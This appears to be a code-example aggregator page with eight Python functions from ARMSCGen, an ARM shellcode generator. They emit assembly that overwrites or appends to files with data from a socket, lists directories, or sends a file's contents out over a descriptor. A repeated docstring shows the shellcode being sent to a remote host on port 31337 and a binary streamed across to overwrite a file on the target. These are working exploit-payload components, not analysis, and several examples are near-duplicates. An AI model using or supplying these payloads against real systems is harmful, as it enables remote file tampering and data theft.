示例#1
0
def generate(filepath, sock, isNewFile=False):
    """overwrites a file with user's data

    argument:
        filepath (str)    : file name to open
        sock (int/str/reg): read a sock to write data
    
    Examples:
        sending a big file to remote to write

    >>> HOST = 'hostname'
    >>> PORT = 31337
    >>> MAXSIZE = 128
    >>> sc  = scgen.overwrite('./binary', 4)
    >>> sc += scgen.exit(0)
    >>> xsc = CompileSC( (sc), isThumb=True)
    >>> s = socket(AF_INET, SOCK_STREAM)
    >>> s.connect( (HOST, PORT) )
    >>> f = s.makefile('rw', bufsize=0)
    >>> f.write(xsc + '\\n')
    >>> data = open('/path/to/binary', 'rb').read()
    >>> size = len(data)
    >>> mod  = size % MAXSIZE
    >>> div  = size / MAXSIZE
    >>> for i in range(0, div):
    >>>    f.write(data[i*128:(i+1)*MAXSIZE])
    >>> if div:
    >>>    f.write(data[div*MAXSIZE:])
    """

    if isNewFile:
        sc = open_file.generate(filepath, O_RDWR|O_CREAT, 0755)
    else:
        sc = open_file.generate(filepath, O_RDWR)
    sc += """
loop_1:
    """
    sc += write_to_stack.generate(sock, MAXSIZE)
    sc += """
    mov r5, r0
    """
    sc += read_from_stack.generate('r6', 'r0')

    sc += """
    cmp r5, #0
    #cmp r5, #%s
    bgt loop_1
    """
    #""" % (MAXSIZE)

    return sc
示例#2
0
文件: ls.py 项目: alexpark07/ARMSCGen
def generate(filepath, out_fd):
    """
    `ls` a directory list like UNIX Command in thumb mode

    arguments: 
        filepath (str)  : target directory name
        out_fd (int/str): out file descriptor

    backup:
        r6 reg indicates to file descriptor
    """
    
    sc = ""

    sc += open_file.generate(filepath)
    sc += "subs r4, r4, r4\n"
    sc += "loop_1:\n"
    sc += getdents.generate(in_fd='r6') + '\n'
    sc += """
    cmp r0, r4
    ble after_1
    """
    sc += read_from_stack.generate(int(out_fd)) + '\n'
    sc += """
    cmp r0, r4
    bgt loop_1
after_1:
    """
    return sc
示例#3
0
def generate(filepath, sock):
    """write with append option a file with user's data

    argument:
        filepath(str)    : file name to open

        sock(int/str/reg): read a sock to write data
    """

    sc = open_file.generate(filepath, O_WRONLY | O_CREAT | O_APPEND, 0644)
    sc += """
loop_1:
    """
    sc += write_to_stack.generate(sock, MAXSIZE)
    sc += """
    mov r5, r0
    """
    sc += read_from_stack.generate('r6', 'r0')

    sc += """
    cmp r5, #%s
    beq loop_1
    """ % (MAXSIZE)

    return sc
示例#4
0
文件: ls.py 项目: mmyydd/ARMSCGen
def generate(filepath, out_fd):
    """
    `ls` a directory list like UNIX Command in thumb mode

    arguments: 
        filepath (str)  : target directory name
        out_fd (int/str): out file descriptor

    backup:
        r6 reg indicates to file descriptor
    """

    sc = ""

    sc += open_file.generate(filepath)
    sc += "sub r4, r4, r4\n"
    sc += "loop_1:\n"
    sc += getdents.generate(in_fd='r6') + '\n'
    sc += """
    cmp r0, r4
    ble after_1
    """
    sc += read_from_stack.generate(out_fd, size='r0') + '\n'
    sc += """
    cmp r0, r4
    bgt loop_1
after_1:
    """

    return sc
示例#5
0
def generate(filepath, sock):
    """write with append option a file with user's data

    Args:
        filepath(str)    : file name to open

        sock(int/str/reg): read a sock to write data
    """

    sc = open_file.generate(filepath, O_WRONLY | O_CREAT | O_APPEND, 0644)
    #sc += lseek.generate('x6', 0, SEEK_END)
    sc += """
loop_1:
    """
    sc += write_to_stack.generate(sock, MAXSIZE)
    sc += """
    mov x5, x0
    """
    sc += read_from_stack.generate('x6', 'x0')

    sc += """
    cmp x5, %s
    beq loop_1
    """ % (MAXSIZE)

    return sc
示例#6
0
def generate(filepath, in_fd='r6', out_fd=4):
    """cat a file like UNIX Command

    Args: 
        filepath (str)  : target file name
        in_fd  (int/str): in  file descriptor (default: 'r6' indicates a file descriptor)
        out_fd (int/str): out file descriptor (default: 4)
    """
    sc = open_file.generate(filepath)
    sc += sendfile.generate(in_fd, out_fd)
    return sc
示例#7
0
def generate(filepath, in_fd='r6', out_fd=4):
    """cat a file like UNIX Command

    Args: 
        filepath (str)  : target file name
        in_fd  (int/str): in  file descriptor (default: 'r6' indicates a file descriptor)
        out_fd (int/str): out file descriptor (default: 4)
    """
    sc  = open_file.generate(filepath)
    sc += sendfile.generate(in_fd, out_fd)
    return sc
示例#8
0
def generate(filepath, sock, isNewFile=False):
    """overwrites a file with user's data

    argument:
        filepath (str)    : file name to open
        sock (int/str/reg): read a sock to write data
    
    Examples:
        sending a big file to remote to write

    >>> HOST = 'hostname'
    >>> PORT = 31337
    >>> MAXSIZE = 128
    >>> sc  = scgen.overwrite('./binary', 4)
    >>> sc += scgen.exit(0)
    >>> xsc = CompileSC( (sc), isThumb=True)
    >>> s = socket(AF_INET, SOCK_STREAM)
    >>> s.connect( (HOST, PORT) )
    >>> f = s.makefile('rw', bufsize=0)
    >>> f.write(xsc + '\\n')
    >>> data = open('/path/to/binary', 'rb').read()
    >>> size = len(data)
    >>> mod  = size % MAXSIZE
    >>> div  = size / MAXSIZE
    >>> for i in range(0, div):
    >>>    f.write(data[i*128:(i+1)*MAXSIZE])
    >>> if div:
    >>>    f.write(data[div*MAXSIZE:])
    """

    if isNewFile:
        sc = open_file.generate(filepath, O_RDWR | O_CREAT, 0755)
    else:
        sc = open_file.generate(filepath, O_RDWR)
    sc += """
loop_1:
    """
    sc += write_to_stack.generate(sock, MAXSIZE)
    sc += """
    mov r5, r0
    """
    sc += read_from_stack.generate('r6', 'r0')

    sc += """
    cmp r5, #0
    #cmp r5, #%s
    bgt loop_1
    """
    #""" % (MAXSIZE)

    return sc